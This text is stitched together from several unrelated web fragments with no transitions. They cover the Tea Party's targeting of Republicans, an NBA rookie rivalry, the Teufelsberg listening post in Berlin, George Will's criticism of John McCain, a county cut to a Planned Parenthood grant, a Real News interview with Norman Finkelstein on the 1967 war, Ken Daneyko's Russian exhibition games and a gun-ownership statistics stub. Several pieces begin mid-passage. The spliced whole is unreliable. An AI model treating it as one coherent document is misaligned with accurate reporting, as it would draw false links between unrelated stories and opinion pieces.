In the rant, Santelli also stated that "We're thinking of having a Chicago Tea Party in July. All you capitalists that want to show up to Lake Michigan, I'm gonna start organizing." The clip was widespread, and the first tea party rallies were held eight days later on February 27th, 2009, where tens of thousands of protesters showed up in over 50 cities to voice opposition to the Bush and Obama spending sprees.
Tea Party Targets Republicans and Democrats
Challenging Democrats in November elections is always a fun thought for tea party members. But it is not their first goal. The tea party does not exist to challenge only Democrats simply to return the same Republicans who rubber-stamped the big government Bush agenda for eight years. And this is why the first victims of the tea party in any given election cycle are always Republicans.
The first goal of the tea party was to target liberal Republicans up for reelection. Arlen Specter (PA), Charlie Crist (FL), Lisa Murkowski (AK), and Bob Bennett (UT) were just a few of the many politicians backed by the mainstream GOP but opposed by the tea party. Specter saw his time was up and bailed to join the Democrats. When Crist realized he was soon to lose to a young conservative star in Marco Rubio, he jumped ship and ran as an independent. Bennett was so unpopular he couldn't even earn a primary slot. Murkowski lost her primary also but was eventually saved by the Democrats after launching a write-in campaign.
Only after getting a strong foothold in the Republican Party by knocking off incumbent or establishment Republicans would the tea party focus their attention on Democrats. As a result, the myth of the "blue dog" Democrat was mostly destroyed and the GOP decimated the ranks of so-called conservative Democrats. It would be over three years since the start of the tea party movement before conservatives would have a shot at President Obama. The number of Republicans that the tea party has brought down is proof enough that this is about more than just one man.
Incoming NBA rookies believe Dennis Smith Jr. will win Rookie of the Year. New York Knicks point guard Frank Ntilikina is using that as motivation.
The New York Knicks shocked the masses by selecting Frank Ntilikina over Dennis Smith Jr. at the 2017 NBA Draft. Ntilikina was the enigma of his draft class, whereas Smith was viewed as a borderline sure thing due to his elite athleticism and his well-rounded skill set.
As praise pours in for Smith and criticism continues to mount for the Knicks’ decision to draft Ntilikina, one word is consistently surfacing: Motivation.
Ntilikina is one of the most decorated young players in the history of the respected French League. Yet, coming out of the now proven European circuit, Ntilikina was viewed as a lesser player than Smith, who became a SportsCenter mainstay in 2016-17.
According to John Schuhmann of NBA.com, the incoming rookies believe Smith will win Rookie of the Year—and Ntilikina is finding motivation in that declaration.
FWIW: people around the Knicks say this kind of stuff is motivational for NYK rookie Frank Ntilikina. https://t.co/Xo8NTkYvdK — Ian Begley (@IanBegley) August 22, 2017
At this point, all Ntilikina can do is work harder than the individuals whom critics believe will have better careers.
It’s entirely possible that Smith will win the 2018 Rookie of the Year award. He’s one of the most dynamic young talents in the Association, and he’ll be entering a favorable situation with a Hall of Fame mentor in Dirk Nowitzki and a Hall of Fame head coach in Rick Carlisle.
Smith will also be surrounded by respected and productive NBA players such as Harrison Barnes, Seth Curry, and Wesley Matthews.
His future success or failure is not a reflection on Ntilikina, however, who has become something of an NBA Draft pariah.
While critics focus on what could go wrong, Ntilikina has been working tirelessly to improve his game. He’s training with revered NBA trainer Chris Brickley, and already has professional experience—an advantage that doesn’t get quite enough attention.
At 6’5″ with a projected 7’0″ wingspan, Ntilikina has the physical tools to dominate the point guard position on both ends of the floor.
"Go to Teufelsberg," he replied confidently, before going on to explain that Teufelsberg is an abandoned listening post in West Berlin that the US National Security Agency (NSA) once used to intercept East Berlin and Soviet communications during the Cold War.
Finding the site wasn't easy. My travelling companion and I took a 20-minute train from central Berlin to Heerstraße station. From there we used Citymapper and ended up hiking a barely-visible trail through relatively dense forest for around half an hour.
We reached a double fence that blocked the way. Fortunately, there were a few unofficial-looking A4 paper signs attached to the outer fence that pointed us round towards a vague-looking entrance, some 400m away.
I'd read mixed reports about Teufelsberg online and I wasn't sure whether we'd even be able to get in as the site has opened and closed several times since the NSA left following the collapse of the Berlin wall in 1989. Some people were saying online that you had to pay, while others said you could simply find a hole in the fence and climb through. One thing most people appeared to agree on is that this place is quite unique and after paying it a visit, I have to say, they're not wrong.
He starts out with a quote, an allusion to John McCain being like the queen in Alice In Wonderland wildly shouting "Off with their heads!" at every perceived tormentor, howling it over our financial crisis. And conservative columnist George Will's critique doesn't get any better from there.
Under the pressure of the financial crisis, one presidential candidate is behaving like a flustered rookie playing in a league too high. It is not Barack Obama. Channeling his inner Queen of Hearts, John McCain furiously, and apparently without even looking around at facts, said Chris Cox, chairman of the Securities and Exchange Commission, should be decapitated. This childish reflex provoked the Wall Street Journal to editorialize that "McCain untethered" -- disconnected from knowledge and principle -- had made a "false and deeply unfair" attack on Cox that was "unpresidential" and demonstrated that McCain "doesn't understand what's happening on Wall Street any better than Barack Obama does."
George Will is through with the Straight Talk Express. Especially as it evolves into the Befuddled Talk Express. Will is exasperated with McCain and writes as much in his column Tuesday. It's a vigorous literary battering that never lets up as Will exerts his frustration and disappointment with McMaverick.
McCain's smear -- that Cox "betrayed the public's trust" -- is a harbinger of a McCain presidency. For McCain, politics is always operatic, pitting people who agree with him against those who are "corrupt" or "betray the public's trust," two categories that seem to be exhaustive -- there are no other people. McCain's Manichaean worldview drove him to his signature legislative achievement, the McCain-Feingold law's restrictions on campaigning. Today, his campaign is creatively finding interstices in laws intended to restrict campaign giving and spending.
An old school conservative, Will stands on the side of smaller government. Like many fiscal conservatives, he questions the necessity and rectitude of a possible $700 billion-plus bail out of private companies who caused the market meltdown by taking duplicitous mortgages and selling them as investment funds.
On ABC's This Week, Will called the move to buy up the bad debt of wayward companies the dreaded "S" word -- socialism. The prudish pundit doesn't want to reward the bad actors in this drama, but he also doesn't want a potential president of the United States running around half-cocked calling for men to be fired and heads to be chopped. It was a frustration that Will unfurled previously on the show Sunday as the panel discussed with sudden frankness McCain's temper, rages and the "age issue."
As part of the Sunday morning quintet, Will assesses that John McCain has shown his true personality and "it has made some of us fearful." Sam Donaldson knocks McCain around about his gaffe-riddled week, during which he repeated numerous times that the economy was fundamentally sound even as the markets went into free fall. Within the span of a few hours in one day McCain went from being mute on the crisis to suddenly acknowledging the collapse and turning into a populist. The panel called it pandering.
By the end of Will's column he poses a question that he believes every voter must consider:
Conservatives who insist that electing McCain is crucial usually start, and increasingly end, by saying he would make excellent judicial selections. But the more one sees of his impulsive, intensely personal reactions to people and events, the less confidence one has that he would select judges by calm reflection and clear principles, having neither patience nor aptitude for either. It is arguable that, because of his inexperience, Obama is not ready for the presidency. It is arguable that McCain, because of his boiling moralism and bottomless reservoir of certitudes, is not suited to the presidency. Unreadiness can be corrected, although perhaps at great cost, by experience. Can a dismaying temperament be fixed?
I find Will's doubting of McCain's ability to lead fascinating because he is seeing what other Republicans foretold during the primaries. That McCain had temper issues. That it concerned them that he could be president with his tendencies to go with gut and heart over substance and fact.
It is McCain's love of risk over reward that lead to an "almost" endorsement for Obama from the conservative. A de facto endorsement for a man Will is ideologically opposed to but may be a safer bet as Will argues that voting for a president has to be about more than judicial appointments.
What's the point of electing McCain if his temperament and nature make him unfit for the position? What if the same unpredictable nature that caused him to select a political novice/novelty act, Gov. Sarah Palin, as his running mate, that precociousness that caused him to call for a man to be fired when it was the entire financial regulatory system and private industry who caused his mess, what if that same personality was applied to the world we live in today? What would a McCain presidency wrought?
Would McCain roll the dice on Iraq? Nuclear disarmament? Our relationship with China? Our relationship with Russia? In our adviser and protector role with Israel? In our crises at home with finances, ballooning budgets and deficits, wounded soldiers returning home, unemployment, health care, problems in the Food and Drug Administration and education? Would he go for parlor tricks, gimmicks and pixie dust? Would he go for having Cindy McCain blow a kiss on the dice before McCain shouts "Come on seven, eleven!" on America?
One local Planned Parenthood supporter from Carbondale started an online "GoFundMe" campaign aimed at doubling the $1,500 that was cut Monday as part of the county's 2016 Human Services grants. That effort had succeeded, raising $3,590 by 7:30 a.m. Wednesday.
"Planned Parenthood has been pretty influential in my life, especially before I had a career and health insurance," organizer Ashley Johnson said. "A lot of us in the community felt strongly that this is such an important cause.
Jaime, a Glenwood Springs native now living in Denver who did not want her last name used, said she, too, was disappointed in the decision to end county grant funding.
“Planned Parenthood has been pretty influential in my life, especially before I had a career and health insurance.”
— Ashley Johnson, fundraising organizer Recommended Stories For You
"Planned Parenthood helped me and all my friends through tough times in the valley. This organization saves lives," she said. "The reality is that there are no other options for a young woman without money to take care of her reproductive health.
"Defunding Planned Parenthood will return the valley to teen pregnancies, more single moms and poverty," Jaime said.
A Post Independent story about the county's decision prompted numerous comments, and the story was widely shared on social media.
Most comments expressed something between disappointment and outrage, though some have been supportive of the commissioners' decision.
"It is a very polarizing issue," acknowledged County Commissioner Tom Jankovsky, who led the move among his fellow Republican commissioners to eliminate the grant for next year.
Jankovsky said he fielded numerous phone calls and emails, both supportive and questioning the rationale behind the decision.
The grant to Planned Parenthood's Glenwood Springs Health Center was part of a package of more than $432,000 in grants to various human service organizations and programs recommended by the county's Human Services Commission.
The $1,500 that was to go to Planned Parenthood was a reduction from its $2,000 grant this year.
Overall, it pales in comparison to some of the larger grants to other, mostly local organizations that exceed $30,000, so the move was mostly seen as a political statement.
Jankovsky said he has become increasingly concerned over what he said were "partisan, political" emails in recent months from a state lobbying group, Planned Parenthood Votes Colorado, often aimed at Republican lawmakers.
Cathy Alderman, vice president of public affairs for Planned Parenthood's political lobbying affiliate, explained that the nonprofit Planned Parenthood of the Rocky Mountains, which operates the clinics and does community outreach in the state, relies on both private and public funding and cannot engage in political activity.
The Votes Colorado group is the separately organized political action arm that does focus on political issues.
"Planned Parenthood has been in the news a lot lately, and it has become political," Alderman said, adding she also does some education outreach work for the nonprofit organization.
The political action group "gives us a voice to speak to some limited electoral activities," she said.
Besides its longtime critics who oppose abortion services provided by Planned Parenthood clinics, the organization has come under fire more recently over allegations that it sells fetal tissue at a profit.
State and national affiliates of the organization have adamantly denied those allegations, and fact-checking groups have said videos were edited in a way that distorts the conversation about covering costs for providing fetal tissue to researchers.
But the concerns have led some Republicans in Congress and at the state level to call for ending all taxpayer support for the organization.
Planned Parenthood provides a wide range of low-cost reproductive health-care services for low-income women and teens.
In addition to cancer screenings, which the county grant was to support, Planned Parenthood provides testing and treatment for sexually transmitted diseases and HIV, as well as contraception and abortion services.
"So much of what we have heard from Planned Parenthood and its supporters is that they are they only organization providing these types of medical services here," Jankovsky said.
But, with the expansion of Medicaid under the Affordable Care Act, there is broader access to those types of services elsewhere, including other low-income clinics such as the Mountain Family Health Centers in Glenwood Springs and Rifle, he said.
"It's not that those services aren't available," Jankovsky said.
Alderman said she was surprised at the commissioners' decision to pull grant support over politics.
5:34 AM
In the first of an extended three-part interview on the 50th anniversary of the June 1967 Arab-Israeli war, author and scholar Norman Finkelstein debunks the enduring myths surrounding that historic confrontation — myths that have sustained​ the ensuing Israeli ​occupation of Palestinian lands​.
Norman G. Finkelstein received his doctorate in 1988 from the Department of Politics at Princeton University. He currently teaches at Sakarya University’s Center for Middle Eastern Studies in Turkey. Finkelstein is the author of ten books that have been translated into 50 foreign editions.
TRNN transcript:
Aaron Mate: It’s the Real News, I’m Aaron Mate. June 5th marks the 50th anniversary of the 1967 war between Israel and neighboring Arab States. In six days of conflict, Israel captured the Egyptian Sinai, the Syria Golan Heights, and the West Bank and Gaza Strip. Except for the Sinai, Israel still controls all of those territories. In fact, the Israeli military occupation of the West Bank and Gaza is the longest in modern times. In this segment, we’re going to explore what happened in 1967. But this isn’t just a history lesson. The dominant narrative of 1967 is that Israel faced an existential threat, that it fought a defensive war, and didn’t want to occupy Arab lands. That narrative has been repeatedly used to justify Israel’s violence and repression in the occupied territories, so it’s important we get the history right and correct those who misuse it. My guest is someone who’s been doing that task for decades. Norman Finkelstein is a scholar, an author of many books on the Israel-Palestine conflict, and I’m very pleased he’s here with us. Welcome, Norman.
N Finkelstein: Well thank you for having me, Aaron.
Aaron Mate: Thanks for being here. We’re going to hear a lot of commemorations of the ’67 war, and the narrative we’re going to get is much like this one. This is from the New York Times. The Times writes:
“This year marks half a century since the Arab-Israeli War of 1967 in which Israel defied annihilation by its Arab neighbors and also came to rule over Palestinian Arabs in captured areas, including in the old city.”
Norman, that’s The Times saying that Israel “defied Annihilation” in ’67. What’s wrong with that picture?
N Finkelstein: Well, what’s wrong with it is it never happened, and that’s usually a big problem. It’s called “falsifying history.” The record’s very clear on 1967, at least on the point that we’re now going to address. The United States had multiple intelligence agencies monitoring the situation between Israel and its Arab neighbors, probably close to a half dozen intelligence agencies and the US administration under Lyndon Johnson was being kept abreast of everything that was happening there.
Now the big question for Israel in 1967 was not whether they were going to prevail over the Arabs. They knew that was a done deal because they already had the dress rehearsal in 1956 when they conquered the Sinai in about 100 hours, and this is just a decade later and they know they are going to easily prevail. Their big concern was, how would the US react? In 1957, that decade before, the US acted rather harshly. Dwight D. Eisenhower gave Israel an ultimatum: Get out or else. Meaning, get out of the Sinai or you’re going to face a strong reaction from the US Government. The Israelis were afraid there was going to be a repeat of ’57 in ’67.
So, the Israelis are sending over lots of people to feel out the US Administration, asking questions from people who had insight and who were connected to Johnson. Among the people they sent over was Major General Meir Amit, who was the head of the Israeli Mossad, the intelligence agency. Now the US had reached two firm conclusions about 1967. Conclusion number one, Egyptian President Gamal Abdel Nasser, he was not going to attack. There was no evidence he was going to attack. Conclusion number two, if, against all odds, he did attack, as Johnson said at the time, “You will whip hell out of them if he attacks. That’s what all our intelligence agencies say.”
Now you might ask the question, well that’s what US intelligence says, what did Israeli intelligence say? Well we know, because on June 1, Major General Meir Amit, he came to Washington and he spoke to senior American officials. He said, and now I’m quoting him, there were “no differences in the assessment of the intelligence situation now unfolding in the Middle East. No differences.” Which means the Israelis also knew Nasser wasn’t going to attack and they also knew if he did attack, it was going to be, as Johnson said, “You’ll whip hell out of them.” In fact, that’s what happened-
Aaron Mate: Okay, wait a second-
N Finkelstein: The Secretary of Defense at the time was Robert McNamara and in the internal discussion, he predicted the war would last between seven to ten days. Later on, he would boast how close his estimate was. In fact, the war was over not in six days, the war was over, really literally, it was over in about six minutes. The moment Israel launched its Blitzkrieg strike and flattened the Egyptian Air Force, which was still on the ground, then the ground troops had no air support. It was over. The only reason it lasted six days is because they wanted to grab territory. It was a land grab.
Aaron Mate: Okay, but the narrative that we’ve heard over 50 years, I learned this in Hebrew School, in Sunday School, and at my Jewish summer camp, was that Israel faced an existential threat and it fought a defensive war. So let’s go through some of the key points that are used to advance that argument. Since you mentioned Nasser, let’s start with him. He did order the withdrawal of UN troops that were stationed on his side of the Egyptian-Israeli border. That’s often cited as evidence that he was preparing to attack Israel.
N Finkelstein: Right, well what happened was, in April 1967, there was a dog fight between the Syrian Air Force and the Israeli Air Force. In the course of the dog fight, Israel downed six Syrian planes, including one over Damascus. You might ask, why did that happen? Well, the evidence is perfectly clear why it happened and we got it from an unimpeachable source, namely Moshe Dayan, and Moshe Dayan, in 19-
Aaron Mate: Who was an Israeli General.
(Moshe Dayan, Wikipedia)
N Finkelstein: He was the leading figure in ’67, and then he became under Begin the Foreign Minister, when Begin came to power in 1977. But in 1976, Moshe Dayan, he gave an interview and he said, “I’ll tell you why we had all of these conflicts with Syria. There was a demilitarized zone formed after the 1948 war, between Syria and Israel. So what happens in this demilitarized zone?” Dayan said, “At least 80 percent of the time, probably more, let’s just limit ourselves to 80 percent of the time, we would send bulldozers into this demilitarized zone, because Israel was engaged in a land grab.” It was trying to get land inside the demilitarized zone. It would send in bulldozers, the Syrians would react, and then it would escalate. In April ’67, it escalated into a dog fight between the Syrians and the Israelis.
After that, Israel start to threaten, verbally, that it was going to launch an attack on Syria. Many Israeli officials, the most famous statement came from at that point Yitzhak Rabin, but many Israeli officials were threatening Syria. It happened that the Soviet Union got wind of the Cabinet meetings going on in Israel. In mid-May, the Cabinet made a decision. We’re going to attack Syria. The Soviet Union communicated that knowledge to the neighboring Arab States. In the official history, it’s called the false alarm, that the Soviet Union invented this imminent Israel attack.
Aaron Mate: When you say, “the official history,” the history that we’re often taught and hear about in the media, yeah.
N Finkelstein: It’s a history that literally apart from a handful of scholars, including Israeli scholars-
Aaron Mate: Well let me quote one, actually.
N Finkelstein: Yeah.
Aaron Mate: Israeli Historian Ami Gluska, and the Israeli military on the origins of the 1967 war, he writes, “The Soviet assessment from mid-May 1967 that Israel was about to strike at Syria was correct and well-founded.”
N Finkelstein: You know, I often use that quote because it was the first time I ever saw in print. There were rumors that Israel was going to attack, and there were occasional hints of a Cabinet meeting where they reached that decision, but it had never actually appeared in print until I read Gluska’s book. He says yes, the Israelis had made the decision to attack. So Egypt has a defense pact with Syria. Knowing that an Israeli attack is imminent, he has an obligation to rise to Syria’s defense. So he moves Egyptian troops in the Sinai. Separating Egypt from Israel was a peace-keeping force called the United National Emergency Force, UNEF. He asked U Thant to remove-
Aaron Mate: The Secretary General.
(Wikipedia)
N Finkelstein: Excuse me, yes. The UN Secretary General. He asked UN Secretary General U Thant to remove the UNEF, the United Nations Emergency Force. Under the law, U Thant had an obligation to remove those forces. Now, U Thant was very viscously attacked for that decision. In fact, it wrecked his term of office in the United Nations, because everyone blamed him for the ’67 war. It’s all forgotten now, but that’s what happened. But there was a simple answer. There was a simple response.
Aaron Mate: Put them on the Israeli side.
N Finkelstein: Yeah, because in 1957, when the UNEF was installed, the agreement was it was supposed to be on both the Egyptian side of the border and the Israeli side of the border. So in ’67, once Nasser says, “Remove UNEF from our side,” all Israel had to say was, “Fine, we will reposition it on our side of the border,” meaning the Israeli side. They didn’t do that. If the UNEF really could have averted an Egyptian attack, which is what Israel suggests when it said U Thant committed this monumental blunder by removing it, why don’t you just put it on the other side of the border?
Aaron Mate: Let me go on then to the other reasons that are cited for Israel launching the war. You had guerrilla attacks coming onto the Israeli side from both Jordan and Syria.
N Finkelstein: Mm-hmm (affirmative).
Nasser (center), King Hussein of Jordan (left) and Egyptian Army Chief of Staff Abdel Hakim Amer (right) at the Supreme Command of the Armed Forces headquarters in Cairo before signing a mutual defense pact, 30 May 1967. (Wikipedia)
Aaron Mate: Those are described in the official history as a major threat to Israel’s security.
N Finkelstein: Well, first of all we have to understand what was behind those attacks. These were Palestinian commando raids, mostly supported by the Syrian regime. But the Israeli senior officers acknowledged, the reason Syria was sponsoring those commando raids was because of the Israeli land grab in the demilitarized zones. Secondly, with all due respect, I’m not out to ridicule the Palestinians or the PLO, I recognize these were acts of courage by people who had been dispossessed of their homeland-
Aaron Mate: In ’48.
N Finkelstein: In ’48. These were refugees. Remember, it’s a short time between ’48 and ’67. It’s within a generation. But the record is these commando raids were extremely ineffective. One of the heads of the Israeli intelligence, Yehoshafat Harkabi, he described him after ’67 as by any standard very unimpressive.
Aaron Mate: Okay, the other main historical incident that is cited is Nasser closing the Straits of Tiran.
N Finkelstein: Yeah, so in the middle of May, I think it was May 17th or 18th, Nasser closes … There were also UNEF forces stationed by the Straits of Tiran, and they were removed when Nasser asked U Thant to remove the UNEF. U Thant, again he was very heavily criticized. There was a claim he could have just removed the UNEF from the Egyptian-Israeli border and not from the Straits of Tiran, but he removed all of them. I’ve read his defense. I found his defense very credible. He was an extremely honorable man, U Thant. Probably the most honorable Secretary General of the UN it its history. In any case, the UNEF was removed from around the Straits of Tiran, and Nasser declared the Straits of Tiran closed. Now, the Straits of Tiran-
Aaron Mate: So UNEF was removed from Sharm El Sheik.
N Finkelstein: Yes. It’s basically the same area.
Aaron Mate: Oh, okay.
N Finkelstein: That was the waterway to Eilat, the Israeli port city of Eilat. Well what do you make of that decision?
Aaron Mate: Yeah.
N Finkelstein: Number one, Abba Eban, who was always given to drama-
Aaron Mate: A famous Israeli diplomat.
N Finkelstein: He was at that time the UN representative. Later, he became foreign minister. He said, very dramatically, “Israel is now breathing with only on lung.”
Aaron Mate: Mm-hmm (affirmative).
N Finkelstein: That was his famous line. In any event, Eilat was barely used. The only significant commodity that came through Eilat was oil, but Israel had several months’ supply of oil accumulated, so the oil supply wasn’t, at least for several months, it wasn’t endangered. But the biggest point is there was no blockade. It happened that Nasser’s a blowhard, he announces a blockade, enforces it it’s usually estimated about two to three days, and then he start to let ships go through quietly. There was no blockade. The issue was not a physical blockade, the issue was political. Namely, Nasser had defied Israel in public. It had sealed a quote unquote “international waterway,” Israel claimed. Whether it was an international waterway, or whether it belonged to Egypt, is also a complex legal question. Nasser said, at the end of May he repeatedly said, “Israel claims it has the right of passage in the Straits of Tiran. We say they don’t. Let’s go to the International Court of Justice to adjudicate it.”
Aaron Mate: That just days before the war breaks out.
N Finkelstein: A few days, yeah. About a week before. Israel says, “No, we’re not going to the International Court, because Israel wants the right to do as it pleases, when it pleases. You don’t go on an equal footing with an Arab to the International Court of Justice. That’s just not the way things work here. We’re in charge.” So it wasn’t a significant waterway. The only significant commodity entering was oil. They had significant supplies of oil. The waterway wasn’t closed. Nasser offered to take it to the International Court of Justice to adjudicate. This is not the technical language, this is not a casus belli, a justification for war.
Then there’s a separate legal questions, which is, under Article 51 of the UN Charter, you’re only allowed to launch a preemptive attack if there is an armed attack against you. Closing a waterway is not an armed attack. That should have gone to the Security Council. So there are 1,000 reasons, you know, it’s a layered question, but in every count, Israel had no case. On every count, it had no case.
Aaron Mate: You touched on this a little bit, but maybe if you can go into more detail: Why did Israel go to such extraordinary lengths to launch this war and take over so much territory? What was their motivation?
N Finkelstein: Well, it is several motivations that converge. The overall picture is, Israel, from its founding in 1948, in particular its Prime Minister and dominant figure, David Ben-Gurion, he always worried about what he called an “Arab Ataturk” rising to power in the Arab World. Namely, somebody like the Turkish figure Kemal Ataturk who modernized Turkey, brought Turkey into the modern world, and there was always the fear by Ben-Gurion that a figure like Ataturk might emerge in the Arab World, and the Arab World would then remove itself from the state of backwardness and dependence on the West, and become a power to contend with in the world and in the region. In 1952, when there was the Egyptian revolution, and eventually Nasser emerges as the dominant figure, and Nasser was a kind of an emblematic figure of that era. It’s obviously been completely forgotten by everybody except historians, but it was a very heady era, it was the post-war era of non-alignment, Third-World-ism-
Aaron Mate: Third World solidarity, yeah.
N Finkelstein: … anti-imperialism, decolonization, and the emblematic figures were Nehru in India, Tito in Yugoslavia, and Nasser. The three of them were not officially the Soviet Bloc. They were a third force.
Aaron Mate: Non-aligned.
N Finkelstein: Non-aligned, exactly. The non-aligned tend to lean toward the Soviet Bloc because the Soviet Bloc was officially anti-imperialist, but it was non-aligned. Nasser was one of the dominant figures in that period, so he was anti-imperialist, he was a modernizer. Israel was seen, not wrongly, as a Western implant in the Arab World, and it was also seen as trying to hold back the Arab World.
So there was a sense of conflict and collision between Nasser and Israel. Beginning, again very scrupulously documented, not by Finkelstein, but by a very reputable mainstream historian, namely Benny Morris. If you look at his book, “Israel’s Border Wars,” it talks about the period from 1949 to 1956, and he shows that around 1952-53, Ben-Gurion and Moshe Dayan, they’re now determined, and I’m describing it literally from him, to provoke Nasser. To keep hitting him and hitting him until they have a pretext to knock out Nasser. They want to get rid of him, and to keep provoking him, and to some extent, he couldn’t help it after a point, he got caught in the trap essentially. Didn’t work exactly as the Israelis hoped and so in 56, they plotted, colluded with the British and the French to overthrow Nasser. That worked, to a point. They invaded the Sinai, the British and the French played their parts in this collusion-
Aaron Mate: The Americans told them to knock it off, though.
N Finkelstein: For several reasons not worth going into right now, the Americans told Israel to get out.
Aaron Mate: They wanted it delayed, basically.
N Finkelstein: Yes. Dwight Eisenhower didn’t think-
Aaron Mate: It was time.
N Finkelstein: … the time was right.
Aaron Mate: Yeah, yeah.
N Finkelstein: But of course, they also wanted to get rid of Nasser. They all saw him as a pin prick at their side. So ’67 is basically just a repeat performance of 56, with one critical change.
Aaron Mate: American support.
N Finkelstein: The US didn’t oppose it. They were very cautious and careful about how they worded it. Some people call it an amber light, a yellow light, some people call it the green light, but they didn’t openly support it, because it was illegal.
Aaron Mate: Mm-hmm (affirmative).
N Finkelstein: You know, what Israel did. At that point, the United States was fighting a war in Vietnam which was very unpopular, and they didn’t want again to engage themselves supporting Israel, which would also seem like Western Colonialism trying to assert itself over the Third World, the non-aligned world, whatever you want to call it.
The first goal was to knock out Nasser. That was a long-term goal, to keep the Arab World backward. To keep it in a subordinate, primitive state. Secondly, was what happened with the closing of the Straits of Tiran. Namely, Nasser was acting very uppity. He was challenging the Israelis. To some extent, he was goading them, I think that’s true. It was all hot air, and the Israelis knew it was hot air, but they thought, a very revealing phrase from one of the Cabinet meetings came from, at that point he was a Commander, Ariel Sharon. There were some members of the Israeli Cabinet who were still reluctant to launch an attack. He said, “We have to attack now, because we’re losing our deterrence capacity.” That’s a favorite phrase among the Israeli Military.
Aaron Mate: Continues today with Gaza-
N Finkelstein: Yes.
Aaron Mate: And Lebanon.
N Finkelstein: “Deterrence capacity” means the Arab World’s fear of us, that Nasser was now whipping up the Arabs and they were no longer afraid. For the Israelis, the fear, the deterrence capacity, is a very strong card on their side, to keep the Arabs in their place. So the second reason was that they had to restore, as they call it, their deterrence capacity. The third, I would not quote the reason, all the generals had their own desires about wanting to get back some lands. Everyone was agreed they wanted to get Jerusalem, because they lost part of it in ’48. Large numbers of them wanted the West Bank, others of them wanted the Golan Heights, others wanted the Sinai, so there was a land grab element to the war.
Aaron Mate: Okay, on that point, and a quick question as we wrap part one of this discussion.
N Finkelstein: Mm-hmm (affirmative).
Aaron Mate: In terms of the land grab in the West Bank, the presence today in the West Bank of hundreds of thousands of Jewish settlers, many of them religious fanatics who believe that they’re there because God promised them that land, was that kind of religious zealotry a strong component in the internal Israeli thinking at that time? Like wanting to-
N Finkelstein: It wasn’t religious-
Aaron Mate: [crosstalk 00:28:05]
N Finkelstein: … but you have to remember that the Zionist movement was overwhelmingly secular, overwhelmingly atheist. In fact, large numbers of them consider themselves socialists and communists and had no truck with a religion. But they still felt they had a legal title to the land, because in their thinking, the Bible was not just a religious document, the Bible was a historical document, and historically, the Jews had been in Palestine, and it was theirs. It was the same mentality in ’67. It was secular, but it was also deep-seated and fanatical. The fact that they had a claim to the land didn’t make it necessarily in their minds a religious claim. It was a secular claim, but still a fanatical claim, that it was their land, because it says so in the Bible, and the Bible is a historical document, you know, for them the Bible is a historical deed.
Aaron Mate: That’s going to wrap this part of the discussion. In the next part, we’re going to get into what changed for Israel after ’67 in terms of American Jewish support and also American government support, and how those two intertwined. My guest is Norman Finkelstein. Join us in the next part of this discussion.
That changed in early September, when the former New Jersey Devils defenseman made a special hockey pilgrimage to Russia.
"Everybody asked me when I retired if it was difficult. For me, it really wasn't. I was very content," said Daneyko, who traveled to participate in two exhibition games featuring former NHL players. "When I got in the locker room with these guys, all of a sudden you're in a room sitting next to (Wayne) Gretzky and (Mark) Messier. Brett Hull was there. To see the competitiveness from them, it was the first time I felt like an NHLer again. I thought, maybe this is what I miss. Even though it was some old [guys], the atmosphere was unbelievable."
Ken Daneyko won three Stanley Cups in his career, but his recent trip to Russia was as memorable as any hockey experience in his life. (Photo: Getty Images) Ken Daneyko won three Stanley Cups in his career, but his recent trip to Russia was as memorable as any hockey experience in his life.
The collection of some of the game's greatest players gathered for a series pitting a team of Canadian players against a roster of former Russian greats, including Pavel Bure, Alex Mogilny, and Daneyko's former Devils teammate Viacheslav Fetisov.
Despite Canada being outplayed in the first game in St. Petersburgh, goaltender Trevor Kidd managed to keep things close. But Kidd's heroics wouldn't be enough, and the Russians won 6-4. By the time the scene shifted to Yaroslavl a few days later, Daneyko and his Canadian teammates weren't ready to give their hosts a two-game sweep.
"We played to win. You see Gretzky and Hull and Messier saying, 'We're not losing two, boys,'" Daneyko told NHL.com. "Regardless if it's for goodwill, we were all into it and the second game was very competitive. We won 5-4 to split [the series]. The Russians hate to lose on their turf. I really just felt alive again in the hockey world."
The games rekindled Daneyko's competitive edge and entertained Russian fans. But for everyone involved, there was more to the week than just playing hockey. For the players, that meant first honoring the 40th anniversary of the historic 1972 Summit Series, a seminal hockey moment that still resonates with Daneyko.
"That was so big and so huge. I grew up in Edmonton, where we stopped in the middle of class. I remember it like it was yesterday," Daneyko said. "At 10 a.m. they put TVs in the hallways to stop and watch. It was a great thing for hockey."
"When I got in the locker room with these guys, all of a sudden you're in a room sitting next to (Wayne) Gretzky and (Mark) Messier. Brett Hull was there. To see the competitiveness from them, it was the first time I felt like an NHLer again."
-- Ken Daneyko
The ceremony commemorating the tournament featured players from both teams and an appearance from Russian president Vladimir Putin. A few days later in Yaroslavl, the players marked the one-year anniversary of the plane crash that took the lives of 44 people, including most of the Lokomotiv club's players and coaches. For Daneyko, the ceremonies in Yaroslavl proved to be an emotional moment, especially after a chance meeting with the widow of Yaroslavl's coach, Brad McCrimmon.
"I talked to her for about an hour, she's such a strong lady. You can't put yourself in those shoes, you can't imagine what they've been through," Daneyko said. "In the morning we put roses out for the guys. We just paid our respects the day of the game. That was really special. You just can't imagine when a tragedy like this happens, the number of people it affects."
With the exception of a short Russian exhibition in 2000 honoring Fetisov, it was the first time Daneyko had played there since the 1986 World Championship in what was then the Soviet Union. More than 25 years after that bronze-medal performance, Daneyko visited again to reminisce with old friends and enjoy an experience he won't soon forget.
"Just to be in that room with these guys, I was like a little kid. And here's a guy who played 20 years in the National Hockey League. What a great feeling. It was a real honor," Daneyko said. "I got to bring my son along. It was the trip of a lifetime for him.
Gun ownership is the act of owning a gun. In 2018, Small Arms Survey reported that there are over one billion small arms distributed globally, of which 857 million (about 85 percent) are in civilian hands.[1][2] U.S. civilians alone account for 393 million (about 46 percent) of the worldwide total of civilian held firearms.[2] This amounts to "120.5 firearms for every 100 residents."[2]
The world's armed forces control about 133 million (about 13 percent) of the global total of small arms, of which over 43 percent belong to two countries: the Russian Federation (30.3 million) and China (27.5 million).[1] Law enforcement agencies control about 23 million (about 2 percent) of the global total of small arms.[1]
Global distribution of civilian-held firearms [ edit ]
